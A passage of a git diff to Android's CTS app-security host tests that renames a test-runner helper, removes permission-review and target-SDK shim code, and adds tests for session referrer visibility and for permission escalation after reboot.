@@ -131,10 +130,4 @@
             super(getDevice(), mBuildInfo, null);
         }
     }
-
-    private void runDeviceTestsAsCurrentUser(
-            String packageName, String testClassName, String testMethodName)
-                throws DeviceNotAvailableException {
-        Utils.runDeviceTestsAsCurrentUser(getDevice(), packageName, testClassName, testMethodName);
-    }
 }
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/MajorVersionTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/MajorVersionTest.java
index 512a753..e1d913e 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/MajorVersionTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/MajorVersionTest.java
@@ -71,7 +71,7 @@
         assertNull(getDevice().installPackage(
                 mBuildHelper.getTestFile(APK_000000000000ffff), false, false));
         assertTrue(getDevice().getInstalledPackageNames().contains(PKG));
-        runDeviceTestsAsCurrentUser("testCheckVersion");
+        runVersionDeviceTests("testCheckVersion");
         getDevice().uninstallPackage(PKG);
     }
 
@@ -79,7 +79,7 @@
         assertNull(getDevice().installPackage(
                 mBuildHelper.getTestFile(APK_000000ff00000000), false, false));
         assertTrue(getDevice().getInstalledPackageNames().contains(PKG));
-        runDeviceTestsAsCurrentUser("testCheckVersion");
+        runVersionDeviceTests("testCheckVersion");
         getDevice().uninstallPackage(PKG);
     }
 
@@ -87,19 +87,19 @@
         assertNull(getDevice().installPackage(
                 mBuildHelper.getTestFile(APK_000000000000ffff), false, false));
         assertTrue(getDevice().getInstalledPackageNames().contains(PKG));
-        runDeviceTestsAsCurrentUser("testCheckVersion");
+        runVersionDeviceTests("testCheckVersion");
         assertNull(getDevice().installPackage(
                 mBuildHelper.getTestFile(APK_00000000ffffffff), true, false));
         assertTrue(getDevice().getInstalledPackageNames().contains(PKG));
-        runDeviceTestsAsCurrentUser("testCheckVersion");
+        runVersionDeviceTests("testCheckVersion");
         assertNull(getDevice().installPackage(
                 mBuildHelper.getTestFile(APK_000000ff00000000), true, false));
         assertTrue(getDevice().getInstalledPackageNames().contains(PKG));
-        runDeviceTestsAsCurrentUser("testCheckVersion");
+        runVersionDeviceTests("testCheckVersion");
         assertNull(getDevice().installPackage(
                 mBuildHelper.getTestFile(APK_000000ffffffffff), true, false));
         assertTrue(getDevice().getInstalledPackageNames().contains(PKG));
-        runDeviceTestsAsCurrentUser("testCheckVersion");
+        runVersionDeviceTests("testCheckVersion");
         getDevice().uninstallPackage(PKG);
     }
 
@@ -107,29 +107,29 @@
         assertNull(getDevice().installPackage(
                 mBuildHelper.getTestFile(APK_000000ffffffffff), false, false));
         assertTrue(getDevice().getInstalledPackageNames().contains(PKG));
-        runDeviceTestsAsCurrentUser("testCheckVersion");
+        runVersionDeviceTests("testCheckVersion");
         assertEquals("INSTALL_FAILED_VERSION_DOWNGRADE", getDevice().installPackage(
                 mBuildHelper.getTestFile(APK_00000000ffffffff), true, false));
         assertTrue(getDevice().getInstalledPackageNames().contains(PKG));
-        runDeviceTestsAsCurrentUser("testCheckVersion");
+        runVersionDeviceTests("testCheckVersion");
         assertEquals("INSTALL_FAILED_VERSION_DOWNGRADE", getDevice().installPackage(
                 mBuildHelper.getTestFile(APK_000000ff00000000), true, false));
         assertTrue(getDevice().getInstalledPackageNames().contains(PKG));
-        runDeviceTestsAsCurrentUser("testCheckVersion");
+        runVersionDeviceTests("testCheckVersion");
         assertEquals("INSTALL_FAILED_VERSION_DOWNGRADE", getDevice().installPackage(
                 mBuildHelper.getTestFile(APK_000000000000ffff), true, false));
         assertTrue(getDevice().getInstalledPackageNames().contains(PKG));
-        runDeviceTestsAsCurrentUser("testCheckVersion");
+        runVersionDeviceTests("testCheckVersion");
         getDevice().uninstallPackage(PKG);
     }
 
-    private void runDeviceTestsAsCurrentUser(String testMethodName)
+    private void runVersionDeviceTests(String testMethodName)
             throws DeviceNotAvailableException {
-        runDeviceTestsAsCurrentUser(PKG, PKG + ".VersionTest", testMethodName);
+        runDeviceTests(PKG, PKG + ".VersionTest", testMethodName);
     }
 
-    private void runDeviceTestsAsCurrentUser(String packageName, String testClassName, String testMethodName)
+    private void runDeviceTests(String packageName, String testClassName, String testMethodName)
             throws DeviceNotAvailableException {
-        Utils.runDeviceTestsAsCurrentUser(getDevice(), packageName, testClassName, testMethodName);
+        Utils.runDeviceTests(getDevice(), packageName, testClassName, testMethodName);
     }
 }
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/PackageResolutionHostTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/PackageResolutionHostTest.java
index 9337d97..8e409bb 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/PackageResolutionHostTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/PackageResolutionHostTest.java
@@ -43,7 +43,6 @@
 
     @Before
     public void setUp() throws Exception {
-        super.setUp();
         getDevice().uninstallPackage(TINY_PKG);
         mBuildHelper = new CompatibilityBuildHelper(getBuild());
     }
@@ -57,7 +56,7 @@
     @AppModeFull // TODO: Needs porting to instant
     public void testResolveOrderedActivity() throws Exception {
         getDevice().installPackage(mBuildHelper.getTestFile(TINY_APK), true);
-        Utils.runDeviceTestsAsCurrentUser(getDevice(), TINY_PKG,
+        Utils.runDeviceTests(getDevice(), TINY_PKG,
                 ".PackageResolutionTest", "queryActivityOrdered");
         getDevice().uninstallPackage(TINY_PKG);
     }
@@ -66,7 +65,7 @@
     @AppModeFull // TODO: Needs porting to instant
     public void testResolveOrderedService() throws Exception {
         getDevice().installPackage(mBuildHelper.getTestFile(TINY_APK), true);
-        Utils.runDeviceTestsAsCurrentUser(getDevice(), TINY_PKG,
+        Utils.runDeviceTests(getDevice(), TINY_PKG,
                 ".PackageResolutionTest", "queryServiceOrdered");
         getDevice().uninstallPackage(TINY_PKG);
     }
@@ -75,7 +74,7 @@
     @AppModeFull // TODO: Needs porting to instant
     public void testResolveOrderedReceiver() throws Exception {
         getDevice().installPackage(mBuildHelper.getTestFile(TINY_APK), true);
-        Utils.runDeviceTestsAsCurrentUser(getDevice(), TINY_PKG,
+        Utils.runDeviceTests(getDevice(), TINY_PKG,
                 ".PackageResolutionTest", "queryReceiverOrdered");
         getDevice().uninstallPackage(TINY_PKG);
     }
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/PermissionsHostTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/PermissionsHostTest.java
index d4abbf1..577e128 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/PermissionsHostTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/PermissionsHostTest.java
@@ -71,18 +71,6 @@
         mBuildHelper = new CompatibilityBuildHelper(buildInfo);
     }
 
-    /**
-     * Approve the review permission prompt
-     */
-    private void approveReviewPermissionDialog() throws Exception {
-        assertNull(getDevice().installPackage(
-                mBuildHelper.getTestFile("ReviewPermissionHelper.apk"), true, true));
-
-        runDeviceTests("com.android.cts.reviewpermissionhelper",
-                "com.android.cts.reviewpermissionhelper.ReviewPermissionsTest",
-                "approveReviewPermissions");
-    }
-
     @Override
     protected void setUp() throws Exception {
         super.setUp();
@@ -151,18 +139,12 @@
 
     public void testCompatDefault22() throws Exception {
         assertNull(getDevice().installPackage(mBuildHelper.getTestFile(APK_22), false, false));
-
-        approveReviewPermissionDialog();
-
         runDeviceTests(USES_PERMISSION_PKG, "com.android.cts.usepermission.UsePermissionTest22",
                 "testCompatDefault");
     }
 
     public void testCompatRevoked22() throws Exception {
         assertNull(getDevice().installPackage(mBuildHelper.getTestFile(APK_22), false, false));
-
-        approveReviewPermissionDialog();
-
         boolean didThrow = false;
         try {
             runDeviceTests(USES_PERMISSION_PKG, "com.android.cts.usepermission.UsePermissionTest22",
@@ -179,9 +161,6 @@
 
     public void testNoRuntimePrompt22() throws Exception {
         assertNull(getDevice().installPackage(mBuildHelper.getTestFile(APK_22), false, false));
-
-        approveReviewPermissionDialog();
-
         runDeviceTests(USES_PERMISSION_PKG, "com.android.cts.usepermission.UsePermissionTest22",
                 "testNoRuntimePrompt");
     }
@@ -305,9 +284,6 @@
 
     public void testUpgradeKeepsPermissions() throws Exception {
         assertNull(getDevice().installPackage(mBuildHelper.getTestFile(APK_22), false, false));
-
-        approveReviewPermissionDialog();
-
         runDeviceTests(USES_PERMISSION_PKG, "com.android.cts.usepermission.UsePermissionTest22",
                 "testAllPermissionsGrantedByDefault");
         assertNull(getDevice().installPackage(mBuildHelper.getTestFile(APK_23), true, false));
@@ -340,9 +316,6 @@
 
     public void testRevokePropagatedOnUpgradeOldToNewModel() throws Exception {
         assertNull(getDevice().installPackage(mBuildHelper.getTestFile(APK_22), false, false));
-
-        approveReviewPermissionDialog();
-
         boolean didThrow = false;
         try {
             runDeviceTests(USES_PERMISSION_PKG, "com.android.cts.usepermission.UsePermissionTest22",
@@ -377,6 +350,17 @@
                 "testCannotEscalateNonRuntimePermissionsToRuntime");
     }
 
+    public void testNoPermissionEscalationAfterReboot() throws Exception {
+        assertNull(getDevice().installPackage(mBuildHelper.getTestFile(
+                APK_DECLARE_NON_RUNTIME_PERMISSIONS), false, false));
+        assertNull(getDevice().installPackage(mBuildHelper.getTestFile(
+                APK_ESCLATE_TO_RUNTIME_PERMISSIONS), true, false));
+        getDevice().reboot();
+        runDeviceTests(ESCALATE_PERMISSION_PKG,
+                "com.android.cts.escalatepermission.PermissionEscalationTest",
+                "testRuntimePermissionsAreNotGranted");
+    }
+
     public void testNoProtectionFlagsAddedToNonSignatureProtectionPermissions25() throws Exception {
         assertNull(getDevice().installPackage(mBuildHelper.getTestFile(
                 APK_PERMISSION_POLICY_25), false, false));
@@ -430,6 +414,6 @@
 
     private void runDeviceTests(String packageName, String testClassName, String testMethodName)
             throws DeviceNotAvailableException {
-        Utils.runDeviceTestsAsCurrentUser(getDevice(), packageName, testClassName, testMethodName);
+        Utils.runDeviceTests(getDevice(), packageName, testClassName, testMethodName);
     }
 }
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/PrivilegedUpdateTests.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/PrivilegedUpdateTests.java
index 8cc141d..5f59d34 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/PrivilegedUpdateTests.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/PrivilegedUpdateTests.java
@@ -17,42 +17,23 @@
 package android.appsecurity.cts;
 
 import android.platform.test.annotations.AppModeFull;
-
 import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
 import com.android.ddmlib.Log;
 import com.android.tradefed.build.IBuildInfo;
 import com.android.tradefed.device.DeviceNotAvailableException;
 import com.android.tradefed.device.ITestDevice;
-import com.android.tradefed.metrics.proto.MetricMeasurement.Metric;
-import com.android.tradefed.result.ITestInvocationListener;
-import com.android.tradefed.result.TestDescription;
-import com.android.tradefed.testtype.AndroidJUnitTest;
 import com.android.tradefed.testtype.DeviceTestCase;
 import com.android.tradefed.testtype.IAbi;
 import com.android.tradefed.testtype.IAbiReceiver;
 import com.android.tradefed.testtype.IBuildReceiver;
-import com.android.tradefed.testtype.InstrumentationTest;
 import com.android.tradefed.util.AbiFormatter;
 import com.android.tradefed.util.AbiUtils;
 
-import java.util.HashMap;
-
 /**
  * Tests that verify intent filters.
  */
-@AppModeFull(reason="Instant applications can never be system or privileged")
+@AppModeFull // TODO: Needs porting to instant
 public class PrivilegedUpdateTests extends DeviceTestCase implements IAbiReceiver, IBuildReceiver {
-    //---------- BEGIN: To handle updated target SDK; remove as b/128436757 ----------
-    private static final String SHIM_UPDATE_NEW_APK = "CtsShimPrivUpgradePrebuilt_v28.apk";
-    private static final String SHIM_UPDATE_NEW_FAIL_APK = "CtsShimPrivUpgradeWrongSHAPrebuilt_v28.apk";
-    private static final String TEST_PREPARER_APK = "CtsPrivilegedUpdatePreparer.apk";
-    private static final String TEST_PREPARER_PKG = "com.android.cts.privilegedupdate.preparer";
-    private static final String TARGET_SDK_METHOD = "getTargetSdk";
-    private static final String TARGET_SDK_KEY = "target_sdk";
-    private static final int DEFAULT_TARGET_SDK = 24;
-    private static final int NEW_TARGET_SDK = 28;
-    private int mTargetSdk = 0;
-    //---------- END: To handle updated target SDK; remove as b/128436757 ----------
     private static final String TAG = "PrivilegedUpdateTests";
     private static final String SHIM_PKG = "com.android.cts.priv.ctsshim";
     /** Package name of the tests to be run */
@@ -101,10 +82,6 @@
 
         assertNull(getDevice().installPackage(mBuildHelper.getTestFile(TEST_APK), false));
         getDevice().executeShellCommand("pm enable " + SHIM_PKG);
-        if (mTargetSdk == 0) {
-            mTargetSdk = DEFAULT_TARGET_SDK;
-            setTargetSdk();
-        }
     }
 
     @Override
@@ -119,7 +96,7 @@
     public void testPrivilegedAppUpgradeRestricted() throws Exception {
         getDevice().uninstallPackage(SHIM_PKG);
         assertEquals(RESTRICTED_UPGRADE_FAILURE, getDevice().installPackage(
-                mBuildHelper.getTestFile(getUpdateApk(true)), true));
+                mBuildHelper.getTestFile(SHIM_UPDATE_FAIL_APK), true));
     }
 
     public void testSystemAppPriorities() throws Exception {
@@ -140,7 +117,7 @@
         
         try {
             assertNull(getDevice().installPackage(
-                    mBuildHelper.getTestFile(getUpdateApk(false)), true));
+                    mBuildHelper.getTestFile(SHIM_UPDATE_APK), true));
             runDeviceTests(TEST_PKG, ".PrivilegedUpdateTest", "testPrivilegedAppUpgradePriorities");
         } finally {
             getDevice().uninstallPackage(SHIM_PKG);
@@ -164,7 +141,7 @@
         runDeviceTests(TEST_PKG, ".PrivilegedAppDisableTest", "testPrivAppAndEnabled");
         try {
             assertNull(getDevice().installPackage(
-                    mBuildHelper.getTestFile(getUpdateApk(false)), true));
+                    mBuildHelper.getTestFile(SHIM_UPDATE_APK), true));
             getDevice().executeShellCommand("pm disable-user " + SHIM_PKG);
             runDeviceTests(TEST_PKG, ".PrivilegedAppDisableTest", "testUpdatedPrivAppAndDisabled");
             getDevice().executeShellCommand("pm enable " + SHIM_PKG);
@@ -178,43 +155,4 @@
             throws DeviceNotAvailableException {
         Utils.runDeviceTests(getDevice(), packageName, testClassName, testMethodName);
     }
-
-    //---------- BEGIN: To handle updated target SDK; remove as b/128436757 ----------
-    private String getUpdateApk(boolean fail) {
-        if (mTargetSdk == NEW_TARGET_SDK) {
-            if (fail) {
-                return SHIM_UPDATE_NEW_FAIL_APK;
-            }
-            return SHIM_UPDATE_NEW_APK;
-        }
-        if (fail) {
-            return SHIM_UPDATE_FAIL_APK;
-        }
-        return SHIM_UPDATE_APK;
-    }
-
-    private void setTargetSdk() throws Exception {
-        ITestInvocationListener listener = new TargetSdkListener();
-        AndroidJUnitTest instrTest = new AndroidJUnitTest();
-        instrTest.setInstallFile(mBuildHelper.getTestFile(TEST_PREPARER_APK));
-        instrTest.setDevice(getDevice());
-        instrTest.setPackageName(TEST_PREPARER_PKG);
-        instrTest.run(listener);
-    }
-
-    /* Special listener to retrieve the target sdk for the cts shim */
-    private class TargetSdkListener implements ITestInvocationListener {
-        @Override
-        public void testEnded(TestDescription test, HashMap<String, Metric> metrics) {
-            final Metric targetMetric = metrics.get(TARGET_SDK_KEY);
-            if (targetMetric == null) {
-                return;
-            }
-            try {
-                mTargetSdk = Integer.parseInt(targetMetric.getMeasurements().getSingleString());
-            } catch (NumberFormatException ignore) { }
-        }
-    }
-    //---------- END: To handle updated target SDK; remove as b/128436757 ----------
-
 }
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/SessionReferrerUriTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/SessionReferrerUriTest.java
new file mode 100644
index 0000000..0b3bd3e
--- /dev/null
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/SessionReferrerUriTest.java
@@ -0,0 +1,66 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.appsecurity.cts;
+
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+
+import android.platform.test.annotations.AppModeFull;
+
+import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class SessionReferrerUriTest extends BaseAppSecurityTest {
+
+    private static final String SESSION_INSPECTOR_A_APK = "CtsSessionInspectorAppA.apk";
+    private static final String SESSION_INSPECTOR_B_APK = "CtsSessionInspectorAppB.apk";
+    private static final String SESSION_INSPECTOR_PKG_A = "com.android.cts.sessioninspector.a";
+    private static final String SESSION_INSPECTOR_PKG_B = "com.android.cts.sessioninspector.b";
+
+    @Before
+    public void setup() throws Exception {
+        new InstallMultiple().addApk(SESSION_INSPECTOR_A_APK).run();
+        new InstallMultiple().addApk(SESSION_INSPECTOR_B_APK).run();
+    }
+
+    @After
+    public void teardown() throws Exception {
+        getDevice().uninstallPackage(SESSION_INSPECTOR_PKG_A);
+        getDevice().uninstallPackage(SESSION_INSPECTOR_PKG_B);
+    }
+
+    @Test
+    @AppModeFull(reason = "Only full apps may install")
+    public void testSessionReferrerUriVisibleToOwner() throws DeviceNotAvailableException {
+        Utils.runDeviceTests(getDevice(), SESSION_INSPECTOR_PKG_A,
+                "com.android.cts.sessioninspector.SessionInspectorTest", "testOnlyOwnerCanSee");
+        Utils.runDeviceTests(getDevice(), SESSION_INSPECTOR_PKG_B,
+                "com.android.cts.sessioninspector.SessionInspectorTest", "testOnlyOwnerCanSee");
+    }
+
+    private class InstallMultiple extends BaseInstallMultiple<InstallMultiple> {
+        InstallMultiple() {
+            super(getDevice(), getBuild(), getAbi());
+        }
+    }
+}
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/SplitTests.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/SplitTests.java
index 0884818..f8841cb 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/SplitTests.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/SplitTests.java
@@ -127,7 +127,7 @@
     private void testSingleBase(boolean instant) throws Exception {
         new InstallMultiple().addApk(APK)
                 .addArg(instant ? "--instant" : "").run();
-        runDeviceTestsAsCurrentUser(PKG, CLASS, "testSingleBase");
+        runDeviceTests(PKG, CLASS, "testSingleBase");
     }
 
     @AppModeInstant
@@ -143,7 +143,7 @@
     private void testDensitySingle(boolean instant) throws Exception {
         new InstallMultiple().addApk(APK).addApk(APK_mdpi)
                 .addArg(instant ? "--instant" : "").run();
-        runDeviceTestsAsCurrentUser(PKG, CLASS, "testDensitySingle");
+        runDeviceTests(PKG, CLASS, "testDensitySingle");
     }
 
     @AppModeInstant
@@ -159,7 +159,7 @@
     private void testDensityAll(boolean instant) throws Exception {
         new InstallMultiple().addApk(APK).addApk(APK_mdpi).addApk(APK_hdpi).addApk(APK_xhdpi)
                 .addApk(APK_xxhdpi).addArg(instant ? "--instant" : "").run();
-        runDeviceTestsAsCurrentUser(PKG, CLASS, "testDensityAll");
+        runDeviceTests(PKG, CLASS, "testDensityAll");
     }
 
     /**
@@ -183,12 +183,12 @@
     private void testDensityBest(boolean instant) throws Exception {
         new InstallMultiple().addApk(APK).addApk(APK_mdpi)
                 .addArg(instant ? "--instant" : "").run();
-        runDeviceTestsAsCurrentUser(PKG, CLASS, "testDensityBest1");
+        runDeviceTests(PKG, CLASS, "testDensityBest1");
 
         // Now splice in an additional split which offers better resources
         new InstallMultiple().inheritFrom(PKG).addApk(APK_xxhdpi)
                 .addArg(instant ? "--instant" : "").run();
-        runDeviceTestsAsCurrentUser(PKG, CLASS, "testDensityBest2");
+        runDeviceTests(PKG, CLASS, "testDensityBest2");
     }
 
     /**
@@ -212,7 +212,7 @@
     private void testApi(boolean instant) throws Exception {
         new InstallMultiple().addApk(APK).addApk(APK_v7)
                 .addArg(instant ? "--instant" : "").run();
-        runDeviceTestsAsCurrentUser(PKG, CLASS, "testApi");
+        runDeviceTests(PKG, CLASS, "testApi");
     }
 
     @AppModeInstant
@@ -228,7 +228,7 @@
     private void testLocale(boolean instant) throws Exception {
         new InstallMultiple().addApk(APK).addApk(APK_de).addApk(APK_fr)
                 .addArg(instant ? "--instant" : "").run();
-        runDeviceTestsAsCurrentUser(PKG, CLASS, "testLocale");
+        runDeviceTests(PKG, CLASS, "testLocale");
     }
 
     /**
@@ -256,7 +256,7 @@
 
         new InstallMultiple().addApk(APK).addApk(apk)
                 .addArg(instant ? "--instant" : "").run();
-        runDeviceTestsAsCurrentUser(PKG, CLASS, "testNative");
+        runDeviceTests(PKG, CLASS, "testNative");
     }
 
     /**
@@ -288,7 +288,7 @@
 
         new InstallMultiple().useNaturalAbi().addApk(APK).addApk(apk)
                 .addArg(instant ? "--instant" : "").run();
-        runDeviceTestsAsCurrentUser(PKG, CLASS, "testNative");
+        runDeviceTests(PKG, CLASS, "testNative");
     }
 
     /**
@@ -343,7 +343,7 @@
             inst.useNaturalAbi();
         }
         inst.run();
-        runDeviceTestsAsCurrentUser(PKG, CLASS, "testNative");
+        runDeviceTests(PKG, CLASS, "testNative");
     }
 
     @AppModeInstant
@@ -451,7 +451,7 @@
     private void testDiffRevision(boolean instant) throws Exception {
         new InstallMultiple().addApk(APK).addApk(APK_DIFF_REVISION_v7)
                 .addArg(instant ? "--instant" : "").run();
-        runDeviceTestsAsCurrentUser(PKG, CLASS, "testRevision0_12");
+        runDeviceTests(PKG, CLASS, "testRevision0_12");
     }
 
     @AppModeInstant
@@ -467,10 +467,10 @@
     private void testDiffRevisionInheritBase(boolean instant) throws Exception {
         new InstallMultiple().addApk(APK).addApk(APK_v7)
                 .addArg(instant ? "--instant" : "").run();
-        runDeviceTestsAsCurrentUser(PKG, CLASS, "testRevision0_0");
+        runDeviceTests(PKG, CLASS, "testRevision0_0");
         new InstallMultiple().inheritFrom(PKG).addApk(APK_DIFF_REVISION_v7)
                 .addArg(instant ? "--instant" : "").run();
-        runDeviceTestsAsCurrentUser(PKG, CLASS, "testRevision0_12");
+        runDeviceTests(PKG, CLASS, "testRevision0_12");
     }
 
     @AppModeInstant
@@ -486,10 +486,10 @@
     private void testDiffRevisionInheritSplit(boolean instant) throws Exception {
         new InstallMultiple().addApk(APK).addApk(APK_v7)
                 .addArg(instant ? "--instant" : "").run();
-        runDeviceTestsAsCurrentUser(PKG, CLASS, "testRevision0_0");
+        runDeviceTests(PKG, CLASS, "testRevision0_0");
         new InstallMultiple().inheritFrom(PKG).addApk(APK_DIFF_REVISION)
                 .addArg(instant ? "--instant" : "").run();
-        runDeviceTestsAsCurrentUser(PKG, CLASS, "testRevision12_0");
+        runDeviceTests(PKG, CLASS, "testRevision12_0");
     }
 
     @AppModeInstant
@@ -522,7 +522,7 @@
     private void testFeatureBase(boolean instant) throws Exception {
         new InstallMultiple().addApk(APK).addApk(APK_FEATURE)
                 .addArg(instant ? "--instant" : "").run();
-        runDeviceTestsAsCurrentUser(PKG, CLASS, "testFeatureBase");
+        runDeviceTests(PKG, CLASS, "testFeatureBase");
     }
 
     @AppModeInstant
@@ -538,7 +538,7 @@
     private void testFeatureApiInstant(boolean instant) throws Exception {
         new InstallMultiple().addApk(APK).addApk(APK_FEATURE).addApk(APK_FEATURE_v7)
                 .addArg(instant ? "--instant" : "").run();
-        runDeviceTestsAsCurrentUser(PKG, CLASS, "testFeatureApi");
+        runDeviceTests(PKG, CLASS, "testFeatureApi");
     }
 
     @AppModeFull
@@ -571,10 +571,10 @@
 
         if (instant) {
             // Poke the full app so it can see the instant app.
-            runDeviceTestsAsCurrentUser(PKG_NO_RESTART, CLASS_NO_RESTART, "testPokeFullApp");
+            runDeviceTests(PKG_NO_RESTART, CLASS_NO_RESTART, "testPokeFullApp");
         }
 
-        runDeviceTestsAsCurrentUser(PKG, CLASS, "testBaseInstalled");
+        runDeviceTests(PKG, CLASS, "testBaseInstalled");
 
         new InstallMultiple()
                 .addArg(instant ? "--instant" : "")
@@ -582,7 +582,7 @@
                 .inheritFrom(PKG_NO_RESTART)
                 .addApk(APK_NO_RESTART_FEATURE)
                 .run();
-        runDeviceTestsAsCurrentUser(PKG, CLASS, "testFeatureInstalled");
+        runDeviceTests(PKG, CLASS, "testFeatureInstalled");
     }
 
     /**
@@ -604,10 +604,10 @@
     private void testClearCodeCache(boolean instant) throws Exception {
         new InstallMultiple().addApk(APK)
                 .addArg(instant ? "--instant" : "").run();
-        runDeviceTestsAsCurrentUser(PKG, CLASS, "testCodeCacheWrite");
+        runDeviceTests(PKG, CLASS, "testCodeCacheWrite");
         new InstallMultiple().addArg("-r").addApk(APK_DIFF_VERSION)
                 .addArg(instant ? "--instant" : "").run();
-        runDeviceTestsAsCurrentUser(PKG, CLASS, "testCodeCacheRead");
+        runDeviceTests(PKG, CLASS, "testCodeCacheRead");
     }
 
     private class InstallMultiple extends BaseInstallMultiple<InstallMultiple> {
@@ -616,9 +616,8 @@
         }
     }
 
-    public void runDeviceTestsAsCurrentUser(
-            String packageName, String testClassName, String testMethodName)
-                    throws DeviceNotAvailableException {
-        Utils.runDeviceTestsAsCurrentUser(getDevice(), packageName, testClassName, testMethodName);
+    public void runDeviceTests(String packageName, String testClassName, String testMethodName)
+            throws DeviceNotAvailableException {
+        Utils.runDeviceTests(getDevice(), packageName, testClassName, testMethodName);
     }
 }
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/UsesLibraryHostTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/UsesLibraryHostTest.java
index 7ac3efb..a8c3dd9 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/UsesLibraryHostTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/UsesLibraryHostTest.java
@@ -69,22 +69,21 @@
 
     public void testUsesLibrary() throws Exception {
         assertNull(getDevice().installPackage(mBuildHelper.getTestFile(APK), false, false));
-        runDeviceTestsAsCurrentUser(PKG, ".UsesLibraryTest", "testUsesLibrary");
+        runDeviceTests(PKG, ".UsesLibraryTest", "testUsesLibrary");
     }
 
     public void testMissingLibrary() throws Exception {
         assertNull(getDevice().installPackage(mBuildHelper.getTestFile(APK), false, false));
-        runDeviceTestsAsCurrentUser(PKG, ".UsesLibraryTest", "testMissingLibrary");
+        runDeviceTests(PKG, ".UsesLibraryTest", "testMissingLibrary");
     }
 
     public void testDuplicateLibrary() throws Exception {
         assertNull(getDevice().installPackage(mBuildHelper.getTestFile(APK), false, false));
-        runDeviceTestsAsCurrentUser(PKG, ".UsesLibraryTest", "testDuplicateLibrary");
+        runDeviceTests(PKG, ".UsesLibraryTest", "testDuplicateLibrary");
     }
 
-    private void runDeviceTestsAsCurrentUser(
-            String packageName, String testClassName, String testMethodName)
-                    throws DeviceNotAvailableException {
-        Utils.runDeviceTestsAsCurrentUser(getDevice(), packageName, testClassName, testMethodName);
+    private void runDeviceTests(String packageName, String testClassName, String testMethodName)
+            throws DeviceNotAvailableException {
+        Utils.runDeviceTests(getDevice(), packageName, testClassName, testMethodName);
     }
 }
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/Utils.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/Utils.java
index fda6551..4601309 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/Utils.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/Utils.java
@@ -32,19 +32,6 @@
 public class Utils {
     public static final int USER_SYSTEM = 0;
 
-    public static void runDeviceTestsAsCurrentUser(ITestDevice device, String packageName,
-            String testClassName, String testMethodName) throws DeviceNotAvailableException {
-        runDeviceTests(device, packageName, testClassName, testMethodName, device.getCurrentUser(),
-                null);
-    }
-
-    public static void runDeviceTestsAsCurrentUser(ITestDevice device, String packageName,
-            String testClassName, String testMethodName, Map<String, String> testArgs)
-                    throws DeviceNotAvailableException {
-        runDeviceTests(device, packageName, testClassName, testMethodName, device.getCurrentUser(),
-                testArgs);
-    }
-
     public static void runDeviceTests(ITestDevice device, String packageName, String testClassName,
             String testMethodName) throws DeviceNotAvailableException {
         runDeviceTests(device, packageName, testClassName, testMethodName, USER_SYSTEM, null);
@@ -140,11 +127,10 @@
     public static int[] prepareMultipleUsers(ITestDevice device, int maxUsers)
             throws DeviceNotAvailableException {
         final int[] userIds = getAllUsers(device);
-        int currentUserId = device.getCurrentUser();
         for (int i = 1; i < userIds.length; i++) {
             if (i < maxUsers) {
                 device.startUser(userIds[i]);
-            } else if (userIds[i] != currentUserId) {
+            } else {
                 device.stopUser(userIds[i]);
             }
         }
diff --git a/hostsidetests/appsecurity/test-apps/Android.mk b/hostsidetests/appsecurity/test-apps/Android.mk
index f697a59..24249f2 100644
--- a/hostsidetests/appsecurity/test-apps/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/Android.mk
@@ -17,7 +17,7 @@
 include $(CLEAR_VARS)
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests sts
 
 # Build the test APKs using their own makefiles
 include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/hostsidetests/appsecurity/test-apps/EncryptionApp/src/com/android/cts/encryptionapp/EncryptionAppTest.java b/hostsidetests/appsecurity/test-apps/EncryptionApp/src/com/android/cts/encryptionapp/EncryptionAppTest.java
index 38cdb3c..1d0f83e 100644
